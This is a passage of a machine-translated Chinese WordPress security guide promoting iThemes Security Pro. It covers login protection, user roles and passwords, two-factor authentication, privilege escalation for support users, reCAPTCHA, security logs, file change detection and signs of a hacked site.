    一旦某个 IP 出现在 Network Brute Force 禁止列表中,该 IP 将在网络中的所有网站上被阻止。 因此,如果 IP 攻击我的网站并被禁止,它将报告给 iThemes Security Brute Force Network。 我的报告可以帮助在整个网络上禁止IP。 我喜欢我可以通过启用 iThemes 安全网络保护来帮助保护其他人的 WordPress 登录。

    要开始使用Network Force Protection ,请在安全设置的主页上启用它。

    然后输入您的电子邮件地址,选择是否要接收电子邮件更新,然后单击保存按钮。

    WordPress 安全网络暴力设置

    4. 限制设备访问 WP 仪表板

    保护您的 WordPress 登录的最后一步是将您的 WordPress 仪表板的访问权限限制为一组设备。 iThemes Security Pro 可信设备功能可识别您和其他用户用于登录您的 WordPress 站点的设备。 当用户登录到无法识别的设备时,受信任的设备可以限制其管理员级别的功能。 这意味着黑客能够绕过您的其他登录安全方法——不太可能——他们无法对您的网站进行任何恶意更改。

    要开始使用受信任的设备,请在安全设置的主页上启用它们,然后单击配置设置按钮。

    在 Trusted Devices 设置中,决定您要使用该功能的用户,然后启用Restrict CapabilitiesSession Hijacking Protection功能。

    WordPress 安全可信设备设置

    启用新的受信任设备设置后,用户将在 WordPress 管理栏中收到有关待处理的无法识别设备的通知。 如果您当前的设备尚未添加到受信任设备列表中,请单击“确认此设备”链接以发送授权电子邮件

    WordPress 安全可信设备登录警报

    单击无法识别的登录电子邮件中的确认设备按钮,将您当前的设备添加到受信任设备列表。

    包起来

    WordPress 登录页面的可访问性使其成为任何 WordPress 站点中受攻击最多且可能易受攻击的部分。 但是,使用本节中的步骤将使您的 WordPress 登录几乎无法渗透。

    第 7 部分:保护您的 WordPress 用户

    每当我们谈论用户安全时,我们经常会听到这样的问题,每个 WordPress 用户是否应该有相同的安全要求,多少安全才算是安全?

    别担心。 我们回答所有这些问题。 但首先,让我们谈谈不同类型的 WordPress 用户。

    有哪些不同类型的 WordPress 用户?

    有 5 个不同的默认 WordPress 用户。

    1. 行政人员
    2. 编辑
    3. 作者
    4. 贡献者
    5. 订户
    注意:WordPress 多站点有第六个用户。 超级管理员拥有对站点网络管理功能和所有其他功能的所有访问权限。 他们可以在网络上创建新站点和删除站点,以及管理网络的用户、插件和主题。

    每个用户都有不同的能力。 这些功能决定了他们访问仪表板后可以执行的操作。 阅读有关 WordPress 用户角色和权限的更多信息。

    不同被黑 WordPress 用户的潜在损害

    在我们了解如何保护 WordPress 用户的安全之前,我们必须首先了解每种类型的受感染用户的威胁级别。 攻击者可以造成的损害类型和级别因他们攻击的用户的角色和能力而异。

    管理员 –威胁级别高

    管理员用户可以随心所欲。

    • 创建、删除和修改用户。
    • 安装、删除和编辑插件和主题。
    • 创建、删除和编辑所有帖子和页面。
    • 发布和取消发布帖子和页面。
    • 添加和删​​除媒体。

    如果黑客可以接触到您网站的管理员之一,他们就可以持有您的网站以索要赎金。 正如我们之前提到的,勒索软件是指黑客接管您的网站并且不会将其发布给您,除非您向他们支付高额费用。

    编辑器 –威胁级别高

    编辑器管理网站的所有内容。 这些用户仍然有相当多的权力。

    • 创建、删除和编辑所有帖子和页面。
    • 发布和取消发布所有帖子和页面。
    • 上传媒体文件。
    • 管理所有链接。
    • 管理评论。
    • 管理类别。

    如果攻击者控制了编辑器的帐户,他们就可以修改您的一个页面以用于网络钓鱼攻击。 网络钓鱼是一种用于窃取用户数据的攻击,包括登录凭据和信用卡号。

    网络钓鱼是让您的网站被 Google 列入黑名单的最可靠方法之一。 每天,有 10,000 个网站因各种原因进入 Google 的屏蔽名单。

    注意:iThemes 安全站点扫描每天都会检查您网站的 Google 阻止列表状态。

    作者 –威胁级别中等

    作者旨在创建和管理自己的内容。

    • 创建、删除和编辑自己的帖子和页面。
    • 发布和取消发布他们自己的帖子。
    • 上传媒体文件

    如果攻击者要获得作者帐户的控制权,他们可以创建页面和帖子,将您的站点访问者发送到恶意网站。

    贡献者和订阅者 -威胁级别低

    贡献者是作者用户角色的精简版。 他们没有出版权。

    • 创建和编辑自己的帖子。
    • 删除自己未发表的帖子。

    订阅者可以阅读其他用户发布的内容。

    虽然具有贡献者或订阅者角色的黑客无法进行任何恶意更改,但他们可以窃取存储在用户帐户或个人资料页面中的任何敏感信息。

    保护 WordPress 用户的 6 个技巧

    好的,这是黑客可以对我们的网站做的一些非常讨厌的事情。 好消息是,只要您稍加努力,就可以防止对您的 WordPress 用户帐户的大多数攻击。

    让我们来看看您可以采取哪些措施来保护 WordPress 用户的安全。 事实是,这些 WordPress 安全方法将有助于保护各种类型的 WordPress 用户。 但是,在我们介绍每种方法时,我们会告知您应该要求哪些用户使用该方法。

    1. 只为人们提供他们需要的能力

    保护网站的最简单方法是只为用户提供他们需要的功能,而不是其他任何功能。 如果某人在您的网站上唯一要做的就是创建和编辑他们自己的博客文章,那么他们不需要能够编辑其他人的文章。

    2. 使用强密码保护 WordPress 用户

    在 Splash Data 编制的列表中,所有数据转储中包含的最常见密码是 123456。数据转储是一个被黑的数据库,其中填充了在互联网上某处转储的用户密码。 如果 123456 是数据转储中最常见的密码,您能想象您网站上有多少人使用弱密码吗?

    使用弱密码就像试图用胶带锁住你的前门。 黑客用蛮力通过弱密码进入网站从来没有花很长时间。 现在黑客在攻击中利用计算机显卡,破解密码所需的时间从未如此短。

    例如,让我们看一下由高性能密码破解公司 Terahash 创建的图表。 他们的图表显示了使用 448x RTX 2080 的哈希堆栈集群破解密码所需的时间。

    WordPress 安全破解密码时间图表

    默认情况下,WordPress 使用 MD5 来散列存储在 WP 数据库中的用户密码。 因此,根据此图表,Terahash 几乎可以立即破解 8 个字符的密码。 这不仅令人印象深刻,而且非常可怕。 好消息是我们可以通过要求我们的高级用户使用强密码来保护我们的 WordPress 登录。

    iThemes Security Pro 密码要求功能允许您强制特定用户使用强密码。 在安全设置主页上启用密码要求功能,然后选择您希望要求使用强密码的用户。

    WordPress 安全强密码设置

    3. 拒绝泄露密码

    根据 Verizon 数据泄露调查报告,超过 70% 的员工在工作中重复使用密码。 但该报告中最重要的统计数据是,81% 的与黑客相关的违规行为利用了被盗密码或弱密码。

    黑客使用一种称为字典攻击的蛮力攻击形式。 字典攻击是一种使用出现在数据库转储中的常用密码闯入 WordPress 网站的方法。 “系列#1? 托管在 MEGA 上的数据泄露包括 1,160,253,228 种独特的电子邮件地址和密码组合。 那是一个 b 的十亿。 这种分数确实有助于字典攻击缩小最常用的 WordPress 密码的范围。

    必须防止具有作者级别及以上功能的用户使用泄露的密码来保护您的 WordPress 登录。 您还可以考虑不让您的低级别用户使用已泄露的密码。

    完全可以理解并鼓励尽可能轻松地创建新客户帐户。 但是,您的客户可能不知道他们使用的密码是在数据转储中找到的。 通过提醒客户他们使用的密码已被泄露这一事实,您将为您的客户提供出色的服务。 如果他们在任何地方都使用该密码,您就可以避免他们以后遇到一些重大的麻烦。

    iThemes Security Pro Refuse Compromised Passwords功能强制用户使用没有出现在 Have I Being Pwned 跟踪的任何密码泄露事件中的密码。 启用安全设置主页上的密码要求功能,然后选择要防止使用泄露密码的用户。

    WordPress 安全拒绝泄露密码设置

    4. 使用双因素身份验证保护 WordPress 用户

    使用双因素身份验证是保护 WordPress 登录安全的最佳方法。 双因素身份验证是通过需要两种不同的验证方法来验证个人身份的过程。 谷歌在其博客上分享说,使用双因素身份验证可以阻止 100% 的自动机器人攻击。 我真的很喜欢这些赔率。

    在您的网站上实施 2fa 时, iThemes Security Pro 两因素身份验证功能提供了极大的灵活性。 您可以为所有或部分用户启用双重验证,并且可以强制高级用户在每次登录时使用 2fa。

    WordPress 安全 2fa 选项

    为方便起见,iThemes Security Pro 提供 2 种不同的双因素身份验证方法。

    1. 移动应用程序– 移动应用程序方法是 iThemes Security Pro 提供的最安全的两因素身份验证方法。 此方法要求您使用像 Authy 这样的免费双因素移动应用程序。
    2. 电子邮件- 双因素的电子邮件方法会将时间敏感代码发送到您用户的电子邮件地址。
    3. 备用代码– 一组一次性使用代码,可用于在主要两因素方法丢失时登录。

    5. 保护 WordPress 用户免受会话劫持

    每次您登录网站时,WordPress 都会生成一个会话 cookie。 假设您有一个已被开发人员放弃且不再发布安全更新的浏览器扩展。 不幸的是,被忽视的浏览器扩展有一个漏洞。 该漏洞允许不法分子劫持您的浏览器 cookie,包括前面提到的 WordPress 会话 cookie。 这种类型的黑客被称为会话劫持。 因此,攻击者可以利用扩展漏洞来捎带您的登录名并开始对您的 WordPress 用户进行恶意更改。

    您应该为管理员和编辑设置会话劫持保护。

    iThemes Security Pro 可信设备功能使会话劫持成为过去。 如果用户的设备在会话期间发生变化,iThemes Security 将自动将用户注销,以防止用户帐户上发生任何未经授权的活动,例如更改用户的电子邮件地址或上传恶意插件。

    6. 创建通用支持用户

    每当您创建新用户时,您都在添加黑客可以利用的另一个入口点。 但有时您可能需要为您的网站提供一些外部帮助,例如当您寻求支持或雇用独立承包商后。 您需要一种安全可靠的方式来为您的网站添加临时管理员访问权限。

    例如,假设您在网站上安装的插件之一遇到了一些问题。 联系支持人员后,他们请求管理员访问您的网站,以便他们可以仔细查看。 这似乎是一个完全合理的请求,您决定授予他们访问权限。

    那么我们如何授予某人临时管理员访问我们的 WordPress 网站的权限?

    授予对您网站的外部访问权限:两种选择

    通常,您有两种选择来提供对您网站的外部访问...... 两者都不是很好

    1. 共享您的用户凭据

    您的第一个也是最糟糕的选择是共享您的 WordPress 管理员用户的用户名和密码。

    为什么共享您的管理员凭据很糟糕
    • 降低安全性– 如果您共享用户的凭据,则必须禁用双因素身份验证以允许使用您的凭据的人登录。 谷歌在其博客上分享说,使用两步验证或两步验证可以阻止 100% 的自动机器人攻击。 禁用双因素身份验证,即使是很短的时间,也会大大降低您网站的安全性。
    • 不方便– 共享您的凭据需要您更改密码。 如果您忘记更改密码,则有一个或多个人可以随时访问您的网站。
    2. 为支持技术创建一个新用户

    虽然为支持专家创建一个全新的管理员用户比共享您的管理员凭据更好,但它仍然不是很好。

    为什么为支持技术创建用户是可怕的

    • 增加的漏洞——创建一个新的管理员用户会增加另一个可以被利用的入口点。 如果您没有适当的密码策略,支持技术人员可能会选择弱密码,使您的 WordPress 登录更容易受到攻击。
    • 不方便– 在需要外部帮助的任何时候完成设置新用户的过程非常耗时。 您必须创建新用户,然后记住在用户不再需要访问您的网站时将其删除。 从您的网站中删除任何未使用的用户是 WordPress 安全最佳实践。

    什么是权限提升?

    iThemes Security Pro 权限提升功能允许您临时授予用户额外的权限

    权限提升使创建通用用户变得容易且安全,您可以将其提供给需要临时访问您网站的任何外部开发人员或支持技术人员。

    使用权限提升,您可以创建一个新用户并将其命名为 Support 并为其授予订阅者用户角色。 下次您需要提供对网站的临时访问权限时,您可以将支持用户从订阅者提升为管理员。 我们将在后面的文章中介绍如何执行此操作,但首先,让我们谈谈为什么权限提升是授予对您网站的访问权限的更好方法。

    为什么提权更好
    • 简单– 您无需在每次需要授予网站访问权限时都创建新用户。
    • 自动– 权限提升仅持续 24 小时。 24 小时后,用户将自动失去所有附加权限。 您不必记得删除用户或更改任何密码。
    • 不牺牲安全性– 您仍然可以要求此通用支持用户使用双因素电子邮件方法登录,这意味着您拥有与其他管理员用户相同的安全级别。 由于实际用户角色是订阅者,因此您不会将其留在您的网站上的任何实际风险。
    如何在 iThemes Security Pro 中使用权限提升

    首先,在安全设置的主页上启用权限提升

    WordPress 安全权限提升设置

    您可以创建一个新用户并将其命名为 Support 并为其授予订阅者用户角色。 下次您需要临时访问您的网站时,请导航到您的支持用户的个人资料页面。

    WordPress 安全权限升级更新电子邮件地址

    更新电子邮件地址以允许外部支持人员请求新密码。 然后向下滚动,直到看到临时权限提升设置。 单击设置临时角色切换按钮,然后选择管理员。 用户现在将在接下来的 24 小时内拥有管理员访问权限。

    WordPress 安全权限提升集角色

    如果他们不需要完整的 24 小时,您可以从用户配置文件页面撤销权限提升。 如果您需要超过 24 小时,您可以在天数字段中设置您需要的确切天

    WordPress 安全权限提升用户配置文件设置

    包起来

    WordPress 的流行使其成为全世界黑客的目标。 正如我们所讨论的,攻击者甚至可以通过入侵最低级别的 WordPress 用户来造成损害。

    好消息是,虽然没有办法阻止对您的 WordPress 用户的攻击,但只要我们付出一点努力,我们就可以防止攻击得逞。

    第 8 部分:保护您的网站免受恶意机器人的攻击

    在 WordPress 安全指南的这一部分中,您将了解什么是机器人以及如何阻止恶意机器人在您的网站上造成破坏。

    什么是机器人?

    机器人是一种经过编程以执行特定任务列表的软件。 开发人员创建一组指令,机器人将自动遵循这些指令,而无需开发人员告诉他们开始。 机器人将比我们更快地执行重复和平凡的任务。

    各种机器人不断地抓取您的网站。 其中一些机器人很好,可以为您提供有价值的服务。 其他机器人有更邪恶的动机。 让我们花点时间谈谈什么是机器人以及机器人的不同类型。

    WordPress 安全性好机器人和坏机器人

    好机器人

    监控机器人- iThemes Sync Pro 正常运行时间监控使用机器人来监控您网站的正常运行时间。 机器人每 5 分钟检查一次您的网站,以验证它是否仍然在线。 如果您的网站出现故障,机器人会向您发送警报,以便您可以让您的网站重新上线。

    审核机器人- iThemes Sync Pro Site Audit 使用 Google Lighthouse 机器人来检查您的网页的质量。 审计机器人的另一个很好的例子是一个损坏的链接器检查器,它会爬行你的网站,寻找将你发送到不存在位置的链接。

    馈线机器人——馈线机器人的一个很好的例子是你的播客播放器。 您的播客播放器使用机器人来监控您订阅的播客的 RSS 提要,并在您最喜爱的播客发布新剧集时提醒您。

    搜索引擎机器人——谷歌网络爬虫是搜索引擎机器人的一个例子。 这种类型的机器人将抓取您的网站以寻找新的或修改过的页面并创建您网站的索引。 一旦 Google 或其他搜索引擎获得了您网站的索引,他们就可以与使用其搜索引擎的人共享您的页面。

    安全机器人 - iThemes Security Pro 站点扫描使用机器人将您安装的插件和主题列表与我们的漏洞数据库进行比较。 如果您安装了带有已知漏洞的插件或主题,机器人将自动应用补丁(如果有)。

    坏机器人

    内容抓取机器人- 这些机器人被编程为在未经您许可的情况下下载您网站的内容。 机器人可以复制内容以在攻击者的网站上使用,以提高他们的 SEO 并窃取您的网站流量。

    Spambots – Spambots 很烦人。 他们会用在家工作时成为百万富翁的承诺来掩盖您的评论,希望将您的访问者发送到恶意网站。

    蛮力机器人- 蛮力机器人在互联网上搜索 WordPress 登录名进行攻击。 一旦这些机器人登陆登录页面,它们就会尝试以最简单的方式访问站点:通过尝试一遍又一遍地猜测用户名和密码,直到成功为止。

    如何在不阻止好机器人的情况下阻止坏机器人:reCAPTCHA V3

    Google reCAPTCHA 有助于防止恶意机器人在您的网站上进行滥用活动,例如尝试使用已泄露的密码闯入您的网站、发布垃圾邮件,甚至抓取您的内容。

    但是,合法用户将能够登录、购买、查看页面或创建帐户。 reCAPTCHA 使用先进的风险分析技术来区分人类和机器人。

    iThemes Security Pro 中的 Google reCAPTCHA 功能可保护您的网站免受恶意机器人的侵害。 这些机器人试图使用泄露的密码、发布垃圾邮件甚至抓取您的内容来闯入您的网站。 reCAPTCHA 使用先进的风险分析技术来区分人类和机器人。

    reCAPTCHA 版本 3 的优点在于它可以帮助您检测网站上的滥用机器人流量,而无需任何用户交互。 reCAPTCHA v3 不会显示 CAPTCHA 质询,而是监控您网站上发出的不同请求,并为每个请求返回一个分数。 分数范围从 0.01 到 1。reCAPTCHA 返回的分数越高,表示请求是人类发出的越有把握。 reCAPTCHA 返回的分数越低,机器人发出请求的可信度就越高。

    iThemes Security Pro 允许您使用 reCAPTCHA 分数设置阻止阈值。 Google 建议使用 0.5 作为默认值。 请记住,如果将阈值设置得太高,可能会无意中锁定合法用户。

    WordPress 安全 ReCaptcha 禁止阈值

    您可以在 WordPress 用户注册、重置密码、登录和评论中启用 reCAPTCHA。 iThemes Security Pro 允许您在所有页面上运行 Google reCAPTCHA 脚本,以提高其机器人与人工评分的准确性。

    WordPress 安全 ReCaptcha 包括脚本选项

    包起来

    有好机器人和坏机器人。 reCAPTCHA 从您的网站阻止坏机器人,而不会妨碍提供价值的好机器人。

    第 9 部分:WordPress 安全日志

    日志记录是 WordPress 安全策略的重要组成部分。 日志记录和监控不足会导致检测安全漏洞的延迟。 大多数违规研究表明,检测违规的时间超过 200 天! 这段时间允许攻击者破坏其他系统、修改、窃取或破坏更多数据。 正是由于这些原因,Insufficient Logging 登上了 OWASP 前 10 名的 Web 应用程序安全风险。

    WordPress 安全日志在您的整体安全策略中有几个好处。

    1. 识别并阻止恶意行为。
    2. 发现可以提醒您违规的活动。
    3. 评估造成了多少损害。
    4. 协助修复被黑网站。

    如果您的网站确实遭到黑客入侵,您将需要最好的信息来帮助进行快速调查和恢复。

    什么是 WordPress 安全日志?

    iThemes Security Pro 中的 WordPress 安全日志会跟踪您网站上发生的重要安全事件。 这些事件对于监控以指示是否或何时发生安全漏洞很重要。

    您网站的安全日志是任何安全策略的重要组成部分。 在这些记录中找到的信息可用于锁定不良行为者,突出站点上不需要的更改,并帮助识别和修补成功攻击的入口点。

    iThemes Security 跟踪和记录的安全事件

    以下是 iThemes Security Pro 插件跟踪的 WordPress 安全事件。

    1. WordPress 蛮力攻击

    蛮力攻击是指用于发现用户名和密码以入侵网站的反复试验方法。 WordPress 不会跟踪任何用户登录活动,因此 WordPress 没有内置任何内容来保护您免受暴力攻击。 您有责任监控您的登录安全以保护您的 WordPress 网站。

    WordPress 安全日志无效的登录尝试

    幸运的是,蛮力攻击不是很复杂,而且很容易在您的日志中识别。 您需要记录尝试登录的用户名和 IP 以及登录是否成功。 如果您看到单个用户名或 IP 连续尝试登录失败,则您很可能受到了蛮力攻击。

    一旦您知道您的网站受到攻击,您就可以阻止它! 重要的是要记住,没有办法防止在您的网站上发生攻击。 但是,通过监控无效的登录尝试,您可以防止这些攻击成功。

    iThemes Security Pro 非常擅长锁定坏人。 但是,如果坏人在暴力攻击中使用了用户名 Bob,而 Bob 是该站点的实际用户,那么不幸的是,Bob 将与攻击者一起被锁定。

    尽管阻止坏人闯入网站感觉很棒,但当安全性影响真实用户体验时,我们不喜欢它。 我们创建了 Magic Links 以允许合法用户绕过用户名锁定,而蛮力攻击者保持锁定状态。

    2. 恶意软件扫描

    您不仅应该运行恶意软件扫描,还应该在 WordPress 安全日志中记录每次恶意软件扫描的结果。 一些安全日志只会记录发现恶意软件的扫描结果,但这还不够。 尽快收到您的网站遭到破坏的警报至关重要。 您了解黑客攻击所需的时间越长,它造成的损害就越大。

    WordPress 安全日志恶意软件扫描

    虽然看到积极的安全方法获得回报的历史感觉很好,但这只是一个奖励,而不是记录每个恶意软件扫描的原因。

    如果您没有记录计划的扫描,您将无法知道是否有任何扫描失败。 不记录失败的扫描可能会导致您认为每天都在检查您的网站是否存在恶意软件,但实际上,扫描未能完成。

    阅读站点扫描功能聚焦帖子,了解 iThemes Security Pro 如何保护您免受 WordPress 黑客攻击的首要原因。

    3. 用户活动

    在成功攻击后,在 WordPress 安全日志中记录用户活动可能是您的救星。

    如果您监控正确的用户活动,它可以引导您完成黑客攻击的时间线,并显示黑客更改的所有内容,从添加新用户到在您的网站上添加不需要的医药广告。

    iThemes Security Pro 监控 5 种类型的用户活动:

    1. 登入/登出
    WordPress 安全用户登录和退出

    记录的第一种用户活动是用户何时登录和退出您的网站以及从何处登录。 监视用户登录的时间和位置可以帮助您发现受到威胁的用户。 该用户是在异常时间登录还是从新地点登录? 如果是这样,您可能想与他们一起开始调查。

    2. 用户创建/注册
    WordPress 安全用户记录新用户

    您应该记录的下一个活动是用户创建,尤其是管理员用户的创建。 如果黑客可以危害合法用户,他们可能会在那里创建自己的管理员用户以试图隐蔽。 您很容易注意到您的帐户有一些奇怪的东西,但识别其他用户的恶意活动要困难得多。

    监控用户注册也很重要。 某些漏洞允许黑客将默认的新用户角色从订阅者更改为管理员。

    如果您将用户日志设置为仅监控管理员用户的活动,则安全日志中只会记录新的管理员用户注册。 因此,如果您在安全日志中看到新注册的用户,则说明出了点问题。

    3. 添加和删除插件
    WordPress 安全用户日志插件更改

    记录谁添加和删除插件至关重要。 一旦您的网站被黑客入侵,攻击者很容易添加他们的自定义插件以将恶意代码注入网站。

    即使黑客无权访问您的服务器或数据库,他们仍然可以从您的 WordPress 仪表板对其进行更改。 使用插件,他们可以将重定向添加到您的网站以在下一次垃圾邮件广告活动中使用,或将恶意软件注入您的数据库。 在他们的恶意代码被执行后,他们可以删除插件以移除他们犯罪的证据。 幸运的是,我们不会错过任何一个,因为它们都记录在我们的 WordPress 安全日志中。

    4. 切换主题
    WordPress 安全用户日志主题更改

    iThemes Security Pro User Logging 监控的另一个用户活动是当有人切换网站的主题时。 如果您发现您的主题意外更改,您可以查看您的 WordPress 安全日志以找出谁进行了更改。

    5. 帖子和页面的变化

    最后,您希望监控对帖子和页面的任何更改。 是否添加了任何链接以将您的流量发送到其他网站? 监控帖子和页面可以帮助您找到违规后添加到您网站的任何令人尴尬的页面或恶意链接。

    要找出修改了哪个帖子,请单击查看详细信息链接以查找帖子 ID。

    WordPress 安全用户日志记录更改

    查看用户日志功能聚焦帖子,了解有关监控用户活动如何帮助您从黑客攻击中恢复过来的更多信息。

    包起来

    日志记录不足是 OWASP 前 10 名 Web 应用程序安全风险之一。 监控正确的行为将帮助您识别和阻止攻击、检测漏洞以及访问和修复成功攻击后对您的网站造成的损害。

    第 10 部分:当 WordPress 安全灾难发生时

    即使您遵循 WordPress 安全最佳实践,您的网站仍有可能遭到入侵。 妥协意味着黑客破坏了您的网站并感染了恶意软件。

    什么是安全漏洞?

    安全漏洞是指网络犯罪分子能够未经授权访问您的网站或服务器。 安全漏洞可能以多种不同的方式发生,因为黑客会利用一些最常见的 WordPress 安全问题。 从运行过时版本的插件和主题到更复杂的 SQL 注入,即使是最警惕的网站所有者也可能发生安全漏洞。

    检测安全漏洞的时间:清理受感染网站的关键因素

    您是否知道发现网站违规所需的平均时间是 200 天? 不幸的是,您发现漏洞的时间越长,黑客对您的网站、客户和您造成的损害就越大。 一个恶意软件可以在 200 天内造成惊人的破坏。 这就是为什么减少发现安全漏洞所需的时间如此重要的原因。

    为什么? 在遭受 200 天的损坏后,您清理网站所需的清理和停机时间也是惊人的。 调查恶意软件触及的所有内容以及哪些客户的数据被盗的时间只会增加,而违规行为仍未被发现。 更不用说您必须花时间通知客户他们需要取消信用卡,因为黑客在他们访问您的网站时记录了他们的所有按键操作。

    被黑客攻击的代价是巨大的。 您必须花钱请人来调查违规行为并清理您的网站。 黑客修复专家将不得不在他们工作时关闭您的网站,而当您的网站关闭时,人们将无法进行新的购买。 在失去客户的信任后,您很可能会失去他们将来会给您的任何购买。

    黑客的成本是为什么尽快注意到违规行为至关重要的原因。 您发现漏洞的速度越快,您就可以越快地阻止任何进一步的损害,并且您可以越快地让您的网站和业务重新上线。

    恶意软件扫描程序就够了吗?

    恶意软件扫描程序提供了一种扫描 WordPress 网站以查找已知恶意文件和脚本的方法。 但是恶意软件扫描程序足以发现安全漏洞吗?

    一句话,没有。 不要认为您可以仅仅依靠恶意软件扫描程序来检查您的网站是否受到感染。 没有恶意软件扫描程序可以识别存在的每一个恶意软件。 如果您遇到声称其 100% 准确的恶意软件扫描程序,您应该运行,因为做出此类声明的扫描通常是最不准确的。

    签名与行为恶意软件检测

    大多数恶意软件扫描和防病毒软件使用恶意软件签名来检测恶意软件。 更高级的恶意软件扫描将结合使用签名检测和行为分析。

    WordPress 安全恶意软件与行为
    恶意软件签名

    恶意软件签名是用于识别已知恶意软件的一系列字节。 一些恶意软件扫描程序由一个数据库提供支持,该数据库充满了数百万已知病毒的恶意软件签名。

    基于签名的恶意软件扫描快速、简单,并且可以 100% 检测已知和易于理解的恶意软件。 所有这些都很棒,可以捕获低级黑客添加的恶意软件。

    但是,熟练的黑客都知道恶意软件扫描程序会检查已知恶意软件的签名。 这些黑客有能力混淆恶意软件签名,使其不被普通扫描仪检测到。

    新恶意软件以恶意软件扫描程序无法使用所有最新签名更新其数据库的速度发布。 因此,基于签名的扫描程序将无法区分新的恶意软件和插件的 readme.txt 文件之间的区别。

    行为分析

    行为分析检查软件的操作以确定它是否是恶意的。 有大量不同类型的行为可被视为可疑或恶意行为。 例如,iThemes Security Pro 站点扫描利用 Google 安全浏览 API 来帮助确保网站安全。 Google 安全浏览会检查某个软件是否正在将流量重定向到已知的恶意站点。

    同样,没有万无一失的恶意软件检测方法。 但是,行为检查和签名检查的结合将显着增加您收到安全漏洞证据警报的机会。

    所有恶意软件都有哪些行为?

    我们知道尽快检测安全漏洞是多么重要,仅仅依靠恶意软件检测是不够的。 所以我们想知道 iThemes Security Pro 如何减少人们检测网站安全漏洞所需的时间?

    虽然恶意软件在您的网站上造成的损害类型千差万别,但它的作用可以归结为以下三件事之一或两者的组合。

    1. 添加文件– 间谍软件形式的恶意软件可能会添加恶意文件,记录客户输入信用卡信息时的按键操作。
    2. 删除文件- 某些恶意软件会删除合法文件并将其替换为同名恶意文件。
    3. 修改文件- 恶意软件将尝试通过将其隐藏在它修改的现有文件中来隐藏其恶意代码。

    收到有关网站意外更改的警报以便检查它们是否有安全漏洞的迹象不是很好吗?

    如何减少检测安全漏洞所需的时间

    快速发现安全漏洞的关键是监控您网站上的文件更改。

    iThemes Security Pro 中的文件更改检测功能将扫描您网站的文件,并在您的网站发生更改时提醒您。

    您会在日志中看到新的文件更改活动有几个合理的原因,但是如果所做的更改是意外的,您应该花时间确保更改不是恶意的。 例如,如果您在更新插件的同一日期和时间看到对插件所做的更改,则没有理由进行调查。

    如何在 iThemes Security Pro 中启用文件更改检测

    要开始监视文件更改,请在安全设置的主页上启用文件更改检测

    WordPress 安全文件更改检测设置

    一旦文件更改检测已启用,安全的iThemes Pro将开始扫描所有网站的文件的。 分块扫描文件将有助于减少监视文件更改所需的资源。

    初始文件更改扫描将创建您网站文件及其文件哈希的索引。 文件散列是文件内容的缩短的、非人类可读的版本。

    初始扫描完成后,iThemes Security Pro 将继续分块扫描您的文件。 如果在后续扫描之一中文件哈希发生更改,则意味着文件的内容已更改。

    您还可以通过单击“文件更改检测”设置中的“立即扫描文件”按钮来运行手动文件更改

    WordPress 安全扫描文件更改按钮

    激活文件更改通知电子邮件

    文件更改一直在发生,每次更改都会收到电子邮件警报,很快就会变得势不可挡。 不知不觉中,它变成了一个狼吞虎咽的男孩,你开始完全忽略文件更改警报。

    让我们来看看 iThemes Security Pro 如何智能地识别合法更改以减少通知,以及您如何将预期频繁更新的文件的通知静音。

    您可以从 iThemes Security 插件中的通知中心管理所有 iThemes Security 通知。 从您的 WordPress 管理仪表板,访问安全 > 设置并找到通知中心模块。

    WordPress 安全文件更改通知设置

    iThemes Security Pro 如何识别合法的文件更改

    iThemes Security Pro 可以通过多种方式检测对文件所做的更改是否合法且无需担心。 iThemes Security Pro 不会为它可以验证的更改创建文件更改通知。

    1. 插件/主题更新由版本管理完成

    iThemes Security Pro 中的版本管理功能允许您自动更新 WordPress、插件和主题。

    WordPress 安全版本管理设置

    如果版本管理完成更新,i​​Themes Security Pro 将知道更新的来源并且不会触发警报。

    2. iThemes 插件和主题的文件比较

    选中文件更改检测设置中的在线比较文件框以启用在线文件比较。

    WordPress 安全在线文件比较

    每当您网站上属于 iThemes 插件或主题的文件发生更改时,它都会与 iThemes 服务器上的文件进行比较。 如果您网站上文件版本的哈希值与 iThemes 服务器上版本的哈希值匹配,则这将是合法更改,您将不会收到警报。

    3. WordPress.org 在线文件比较

    如果从 WordPress.org 存储库安装的 WordPress 核心文件或插件发生更改,则会将该文件与 WordPress.org 上的版本进行比较。 如果哈希匹配,则更改不是恶意的,您将不会收到警报。

    4. 手动排除

    您可以在文件更改检测设置中从文件更改检测中排除文件、目录和文件类型。

    WordPress 安全手册文件更改驱逐

    一般规则是可以排除您知道将定期更新的文件。 备份和缓存文件就是一个很好的例子。 排除这些类型的文件将消除很多额外的噪音。

    您的 WordPress 网站被黑的 7 个迹象

    发现自己在问,“我的 WordPress 网站被黑了吗? ” 意味着你需要一些快速的答案。

    您发现网站违规迹象的速度越快,就可以越快地清理您的网站。 您清理网站的速度越快,黑客对您的网站造成的损害就越小。

    1. 你的主页不一样

    对主页的更改似乎是一个明显的迹象。 但是,您实际上对您的主页或主页进行了多少次彻底检查? 我知道我通常会直接访问我的登录 URL 而不是我的主页 URL。 从那里,我登录、更新我的网站或编辑帖子。 在我完成我来做的事情后,我经常不看我网站的主页就离开了。

    一些黑客的主要目标是控制网站或声名狼藉。 因此,他们只会将您的主页更改为他们觉得有趣的内容,或者留下电话卡被黑的内容

    WordPress 安全被黑的主页

    如果您确实注意到主页发生了变化,您可以使用由受信任的 WordPress 备份插件(例如 BackupBuddy)制作的备份文件快速轻松地恢复您的网站。

    2.您的网站性能下降

    当您的网站受到感染时,它可能会感觉缓慢。 如果您遇到暴力攻击,或者如果有恶意脚本使用您的服务器资源进行加密货币挖掘,您的网站可能会变慢。 同样,当 IP 网络同时向您的网站发送请求以试图使其崩溃时,就会发生 DDoS(或拒绝服务攻击)。

    3. 您的网站包含恶意或垃圾邮件弹出广告

    如果您的访问者看到将他们重定向到恶意网站的弹出窗口,那么黑客很有可能已经入侵了您的网站。 这种类型的攻击的目标是将流量从您的网站转移到攻击者的网站,以便他们可以针对点击欺诈的用户点击付费广告。

    这种类型的黑客最令人沮丧的事情是您可能无法看到弹出窗口。 弹出式黑客可以设计为不对登录用户显示,这降低了网站所有者看到它们的几率。 因此,即使站点所有者注销,弹出窗口也永远不会显示。

    如果您在浏览器中使用广告拦截器扩展程序,您对弹出窗口的查看也会受到限制。 例如,客户报告了一个弹出窗口黑客并分享了弹出窗口的屏幕截图和视频。 在我花了几个小时浏览他们的网站后,我无法重新创建他们报告的任何内容。 我确信他们的个人电脑被黑了,而不是网站被黑了。

